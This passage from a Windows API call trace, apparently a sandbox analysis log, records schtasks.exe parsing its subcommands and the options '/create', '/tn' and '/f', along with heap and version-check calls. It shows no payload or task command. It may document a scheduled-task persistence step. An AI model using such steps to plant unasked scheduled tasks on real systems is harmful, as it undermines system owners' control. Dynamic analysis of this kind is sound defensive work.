_Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.830] lstrlenW (lpString="|create|") returned 8 [0161.830] lstrlenW (lpString="|f|") returned 3 [0161.830] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0161.830] SetLastError (dwErrCode=0x490) [0161.831] lstrlenW (lpString="delete") returned 6 [0161.831] lstrlenW (lpString="delete") returned 6 [0161.831] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.831] lstrlenW (lpString="f") returned 1 [0161.831] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.831] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|delete|") returned 8 [0161.831] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.831] lstrlenW (lpString="|delete|") returned 8 [0161.831] lstrlenW (lpString="|f|") returned 3 [0161.831] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0161.831] SetLastError (dwErrCode=0x490) [0161.831] lstrlenW (lpString="query") returned 5 [0161.831] lstrlenW (lpString="query") returned 5 [0161.831] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.831] lstrlenW (lpString="f") returned 1 [0161.831] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.831] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|query|") returned 7 [0161.831] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.831] lstrlenW (lpString="|query|") returned 7 [0161.831] lstrlenW (lpString="|f|") returned 3 [0161.831] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0161.831] SetLastError (dwErrCode=0x490) [0161.831] lstrlenW (lpString="change") returned 6 [0161.831] lstrlenW (lpString="change") returned 6 [0161.831] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.831] lstrlenW (lpString="f") returned 1 [0161.831] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.832] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|change|") returned 8 [0161.832] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.832] lstrlenW (lpString="|change|") returned 8 [0161.832] lstrlenW (lpString="|f|") returned 3 [0161.832] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0161.832] SetLastError (dwErrCode=0x490) [0161.832] lstrlenW (lpString="run") returned 3 [0161.832] lstrlenW (lpString="run") returned 3 [0161.832] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.832] lstrlenW (lpString="f") returned 1 [0161.832] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.832] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|run|") returned 5 [0161.832] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.832] lstrlenW (lpString="|run|") returned 5 [0161.832] lstrlenW (lpString="|f|") returned 3 [0161.832] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0161.832] SetLastError (dwErrCode=0x490) [0161.832] lstrlenW (lpString="end") returned 3 [0161.832] lstrlenW (lpString="end") returned 3 [0161.832] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.832] lstrlenW (lpString="f") returned 1 [0161.832] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.832] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|end|") returned 5 [0161.832] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.832] lstrlenW (lpString="|end|") returned 5 [0161.832] lstrlenW (lpString="|f|") returned 3 [0161.833] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0161.833] SetLastError (dwErrCode=0x490) [0161.833] lstrlenW (lpString="showsid") returned 7 [0161.833] lstrlenW (lpString="showsid") returned 7 [0161.833] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.833] lstrlenW (lpString="f") returned 1 [0161.833] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.833] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|showsid|") returned 9 [0161.833] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.833] lstrlenW (lpString="|showsid|") returned 9 [0161.833] lstrlenW (lpString="|f|") returned 3 [0161.833] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0161.833] SetLastError (dwErrCode=0x490) [0161.833] SetLastError (dwErrCode=0x490) [0161.833] SetLastError (dwErrCode=0x0) [0161.833] lstrlenW (lpString="/f") returned 2 [0161.833] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0161.833] SetLastError (dwErrCode=0x490) [0161.833] SetLastError (dwErrCode=0x0) [0161.833] lstrlenW (lpString="/f") returned 2 [0161.833] GetProcessHeap () returned 0x140000 [0161.833] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x6) returned 0x15dd00 [0161.833] GetProcessHeap () returned 0x140000 [0161.833] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdf0 [0161.833] SetLastError (dwErrCode=0x0) [0161.833] GetProcessHeap () returned 0x140000 [0161.833] GetProcessHeap () returned 0x140000 [0161.833] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c230) returned 1 [0161.833] GetProcessHeap () returned 0x140000 [0161.834] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c230) returned 0x8 [0161.834] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c230 | out: hHeap=0x140000) returned 1 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc40) returned 1 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cc40) returned 0x20 [0161.834] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc40 | out: hHeap=0x140000) returned 1 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc70) returned 1 [0161.834] GetProcessHeap () returned 0x140000 [0161.834] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cc70) returned 0x20 [0161.835] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc70 | out: hHeap=0x140000) returned 1 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cca0) returned 1 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cca0) returned 0x20 [0161.835] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cca0 | out: hHeap=0x140000) returned 1 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2c0) returned 1 [0161.835] GetProcessHeap () returned 0x140000 [0161.835] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c2c0) returned 0x8 [0161.835] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2c0 | out: hHeap=0x140000) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ccd0) returned 0x20 [0161.836] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0 | out: hHeap=0x140000) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2e0) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c2e0) returned 0x10 [0161.836] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c2e0 | out: hHeap=0x140000) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00) returned 1 [0161.836] GetProcessHeap () returned 0x140000 [0161.836] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd00) returned 0x20 [0161.837] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00 | out: hHeap=0x140000) returned 1 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c300) returned 1 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c300) returned 0x8 [0161.837] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c300 | out: hHeap=0x140000) returned 1 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30) returned 1 [0161.837] GetProcessHeap () returned 0x140000 [0161.837] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd30) returned 0x20 [0161.838] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30 | out: hHeap=0x140000) returned 1 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420) returned 1 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c420) returned 0x88 [0161.838] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420 | out: hHeap=0x140000) returned 1 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60) returned 1 [0161.838] GetProcessHeap () returned 0x140000 [0161.838] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd60) returned 0x20 [0161.839] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60 | out: hHeap=0x140000) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c4b0) returned 0x8 [0161.839] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c4b0 | out: hHeap=0x140000) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd90) returned 0x20 [0161.839] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90 | out: hHeap=0x140000) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d530) returned 1 [0161.839] GetProcessHeap () returned 0x140000 [0161.839] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d530) returned 0x10 [0161.840] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d530 | out: hHeap=0x140000) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdc0) returned 0x20 [0161.840] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0 | out: hHeap=0x140000) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15dd00) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15dd00) returned 0x6 [0161.840] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15dd00 | out: hHeap=0x140000) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0) returned 1 [0161.840] GetProcessHeap () returned 0x140000 [0161.840] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdf0) returned 0x20 [0161.841] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0 | out: hHeap=0x140000) returned 1 [0161.841] GetProcessHeap () returned 0x140000 [0161.841] GetProcessHeap () returned 0x140000 [0161.841] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155490) returned 1 [0161.841] GetProcessHeap () returned 0x140000 [0161.841] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155490) returned 0x18 [0161.841] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155490 | out: hHeap=0x140000) returned 1 [0161.842] SetLastError (dwErrCode=0x0) [0161.842] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0161.842] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0161.842] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0161.842] VerifyVersionInfoW (in: lpVersionInformation=0xfc170, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc170) returned 1 [0161.842] SetLastError (dwErrCode=0x0) [0161.842] lstrlenW (lpString="create") returned 6 [0161.842] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0161.842] SetLastError (dwErrCode=0x490) [0161.845] SetLastError (dwErrCode=0x0) [0161.845] lstrlenW (lpString="create") returned 6 [0161.845] GetProcessHeap () returned 0x140000 [0161.845] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdf0 [0161.845] GetProcessHeap () returned 0x140000 [0161.845] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15d530 [0161.845] _memicmp (_Buf1=0x15d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.845] GetProcessHeap () returned 0x140000 [0161.845] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d550 [0161.845] SetLastError (dwErrCode=0x0) [0161.845] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.845] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x15bc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0161.845] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0161.846] GetProcessHeap () returned 0x140000 [0161.846] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x74e) returned 0x15dd00 [0161.846] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x15dd00 | out: lpData=0x15dd00) returned 1 [0161.846] VerQueryValueW (in: pBlock=0x15dd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc258, puLen=0xfc2c0 | out: lplpBuffer=0xfc258*=0x15e09c, puLen=0xfc2c0) returned 1 [0161.846] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.846] _vsnwprintf (in: _Buffer=0x15bc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc238 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0161.846] VerQueryValueW (in: pBlock=0x15dd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc2c8, puLen=0xfc2b8 | out: lplpBuffer=0xfc2c8*=0x15dec8, puLen=0xfc2b8) returned 1 [0161.846] lstrlenW (lpString="schtasks.exe") returned 12 [0161.846] lstrlenW (lpString="schtasks.exe") returned 12 [0161.846] lstrlenW (lpString=".EXE") returned 4 [0161.846] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0161.847] lstrlenW (lpString="schtasks.exe") returned 12 [0161.847] lstrlenW (lpString=".EXE") returned 4 [0161.847] lstrlenW (lpString="schtasks") returned 8 [0161.847] lstrlenW (lpString="/create") returned 7 [0161.847] _memicmp (_Buf1=0x15bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.847] _vsnwprintf (in: _Buffer=0x15bc60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc238 | out: _Buffer="schtasks /create") returned 16 [0161.847] _memicmp (_Buf1=0x15bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.847] GetProcessHeap () returned 0x140000 [0161.847] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdc0 [0161.847] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.847] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0161.847] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0161.847] GetProcessHeap () returned 0x140000 [0161.847] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x30) returned 0x157af0 [0161.847] _vsnwprintf (in: _Buffer=0x15c060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc238 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0161.847] GetProcessHeap () returned 0x140000 [0161.847] GetProcessHeap () returned 0x140000 [0161.847] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15dd00) returned 1 [0161.847] GetProcessHeap () returned 0x140000 [0161.847] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15dd00) returned 0x74e [0161.848] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15dd00 | out: hHeap=0x140000) returned 1 [0161.848] SetLastError (dwErrCode=0x0) [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="create") returned 6 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="?") returned 1 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="s") returned 1 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="u") returned 1 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="p") returned 1 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="ru") returned 2 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.848] lstrlenW (lpString="rp") returned 2 [0161.848] GetThreadLocale () returned 0x409 [0161.848] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="sc") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="mo") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="d") returned 1 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="m") returned 1 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="i") returned 1 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="tn") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="tr") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="st") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="sd") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.849] lstrlenW (lpString="ed") returned 2 [0161.849] GetThreadLocale () returned 0x409 [0161.849] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="it") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="et") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="k") returned 1 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="du") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="ri") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="z") returned 1 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="f") returned 1 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="v1") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="xml") returned 3 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.850] lstrlenW (lpString="ec") returned 2 [0161.850] GetThreadLocale () returned 0x409 [0161.850] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.851] lstrlenW (lpString="rl") returned 2 [0161.851] GetThreadLocale () returned 0x409 [0161.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.851] lstrlenW (lpString="delay") returned 5 [0161.851] GetThreadLocale () returned 0x409 [0161.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.851] lstrlenW (lpString="np") returned 2 [0161.851] SetLastError (dwErrCode=0x0) [0161.851] SetLastError (dwErrCode=0x0) [0161.851] lstrlenW (lpString="/create") returned 7 [0161.851] lstrlenW (lpString="-/") returned 2 [0161.851] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.851] lstrlenW (lpString="create") returned 6 [0161.851] lstrlenW (lpString="create") returned 6 [0161.851] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.851] lstrlenW (lpString="create") returned 6 [0161.851] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.851] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.851] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.851] lstrlenW (lpString="|create|") returned 8 [0161.851] lstrlenW (lpString="|create|") returned 8 [0161.851] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0161.851] SetLastError (dwErrCode=0x0) [0161.851] SetLastError (dwErrCode=0x0) [0161.851] SetLastError (dwErrCode=0x0) [0161.851] lstrlenW (lpString="/tn") returned 3 [0161.851] lstrlenW (lpString="-/") returned 2 [0161.851] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.852] lstrlenW 